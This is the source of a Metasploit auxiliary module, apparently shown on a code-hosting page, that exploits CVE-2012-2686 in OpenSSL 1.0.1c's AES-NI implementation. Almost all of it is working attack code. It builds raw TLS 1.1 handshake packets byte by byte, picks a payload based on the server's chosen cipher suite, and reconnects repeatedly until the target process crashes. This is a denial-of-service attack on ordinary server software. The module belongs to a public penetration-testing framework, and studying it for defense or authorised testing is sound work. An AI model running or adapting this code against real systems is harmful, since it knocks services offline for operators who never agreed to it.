Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/ssl/openssl_aesni.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# auxiliary/dos/ssl/openssl_aesni6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::Tcp8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'OpenSSL TLS 1.1 and 1.2 AES-NI DoS',13'Description' => %q{14The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the15length of an encrypted message when used with a TLS version 1.1 or above. This16leads to an integer underflow which can cause a DoS. The vulnerable function17aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.18This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default19OpenSSL 1.0.1c package.20},21'Author' =>22[23'Wolfgang Ettlinger <wolfgang.ettlinger[at]gmail.com>'24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2012-2686'],29[ 'URL', 'https://www.openssl.org/news/secadv/20130205.txt' ]30],31'DisclosureDate' => '2013-02-05'))3233register_options(34[35Opt::RPORT(443),36OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300])37])38end3940def run41# Client Hello42p1 = "\x16" # Content Type: Handshake43p1 << "\x03\x01" # Version: TLS 1.044p1 << "\x00\x7e" # Length: 12645p1 << "\x01" # Handshake Type: Client Hello46p1 << "\x00\x00\x7a" # Length: 12247p1 << "\x03\x02" # Version: TLS 1.148p1 << ("A" * 32) # Random49p1 << "\x00" # Session ID Length: 050p1 << "\x00\x08" # Cypher Suites Length: 651p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA52p1 << "\x00\x39" # - DHE-RSA-AES256-SHA53p1 << "\x00\x35" # - AES256-SHA54p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV55p1 << "\x01" # Compression Methods Length: 156p1 << "\x00" # - NULL-Compression57p1 << "\x00\x49" # Extensions Length: 7358p1 << "\x00\x0b" # - Extension: ec_point_formats59p1 << "\x00\x04" # Length: 460p1 << "\x03" # EC Points Format Length: 361p1 << "\x00" # - uncompressed62p1 << "\x01" # - ansiX962_compressed_prime63p1 << "\x02" # - ansiX962_compressed_char264p1 << "\x00\x0a" # - Extension: elliptic_curves65p1 << "\x00\x34" # Length: 5266p1 << "\x00\x32" # Elliptic Curves Length: 5067# 25 Elliptic curves:68p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a"69p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04"70p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10"71p1 << "\x00\x11"7273p1 << "\x00\x23" # - Extension: SessionTicket TLS74p1 << "\x00\x00" # Length: 075p1 << "\x00\x0f" # - Extension: Heartbeat76p1 << "\x00\x01" # Length: 177p1 << "\x01" # Peer allowed to send requests787980# Change Cipher Spec Message81p2_cssm = "\x14" # Content Type: Change Cipher Spec82p2_cssm << "\x03\x02" # Version: TLS 1.183p2_cssm << "\x00\x01" # Length: 184p2_cssm << "\x01" # Change Cipher Spec Message858687# Encrypted Handshake Message88p2_ehm = "\x16" # Content Type: Handshake89p2_ehm << "\x03\x02" # Version: TLS 1.190p2_ehm << "\x00\x40" # Length: 6491p2_ehm << ("A" * 64) # Encrypted Message929394# Client Key Exchange, Change Cipher Spec, Encrypted Handshake95# AES256-SHA96p2_aes_sha = "\x16" # Content Type: Handshake97p2_aes_sha << "\x03\x02" # Version: TLS 1.198p2_aes_sha << "\x01\x06" # Length: 26299p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange100p2_aes_sha << "\x00\x01\x02" # Length: 258101p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256102p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant)103p2_aes_sha << p2_cssm # Change Cipher Spec Message104p2_aes_sha << p2_ehm # Encrypted Handshake Message105106107# DHE-RSA-AES256-SHA108p2_dhe = "\x16" # Content Type: Handshake109p2_dhe << "\x03\x02" # Version: TLS 1.1110p2_dhe << "\x00\x46" # Length: 70111p2_dhe << "\x10" # Handshake Type: Client Key Exchange112p2_dhe << "\x00\x00\x42" # Length: 66113p2_dhe << "\x00\x40" # DH Pubkey Length: 64114p2_dhe << ("A" * 64) # DH Pubkey115p2_dhe << p2_cssm # Change Cipher Spec Message116p2_dhe << p2_ehm # Encrypted Handshake Message117118119# ECDHE-RSA-AES128-SHA120p2_ecdhe = "\x16" # Content Type: Handshake121p2_ecdhe << "\x03\x02" # Version: TLS 1.1122p2_ecdhe << "\x00\x46" # Length: 70123p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange124p2_ecdhe << "\x00\x00\x42" # Length: 66125p2_ecdhe << "\x41" # EC DH Pubkey Length: 65126# EC DH Pubkey:127p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8"128p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69"129p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6"130p2_ecdhe << "\xb2\xe6\x8b\x2a\xd9\x03\xb4\x85\x46\xd9\x1c\x5f\xd1\xf7\x7b\x73"131p2_ecdhe << "\x40"132p2_ecdhe << p2_cssm # Change Cipher Spec Message133p2_ecdhe << p2_ehm # Encrypted Handshake Message134135136maxtries = datastore['MAX_TRIES']137138success = false139140for i in 0..maxtries141print_status("Try \##{i}")142143connect144145sock.put(p1)146resp = sock.get_once147148cs = get_cipher_suite(resp)149150if cs == 0xc013 # ECDHE-RSA-AES128-SHA151p2 = p2_ecdhe152elsif cs == 0x0039 # DHE-RSA-AES256-SHA153p2 = p2_dhe154elsif cs == 0x0035 # AES256-SHA155p2 = p2_aes_sha156else157print_error("No common ciphers!")158return159end160161sock.put(p2)162163alert = nil164165begin166alert = sock.get_once(-1, 2)167rescue EOFError168print_good("DoS successful. process on #{rhost} did not respond.")169success = true170break171end172173disconnect174175end176177if success == false178print_error("DoS unsuccessful.")179end180end181182def get_cipher_suite(resp)183offset = 0184185while offset < resp.length186type = (resp[offset, 1]).unpack("C")[0]187188if not type == 22 # Handshake189return nil190end191192len = (resp[offset+3, 2]).unpack("n")[0]193hstype = (resp[offset+5, 1]).unpack("C")[0]194195if hstype == 2 # Server Hello196return (resp[offset+44, 2]).unpack("n")[0]197end198199offset += len200end201202end203end204205206207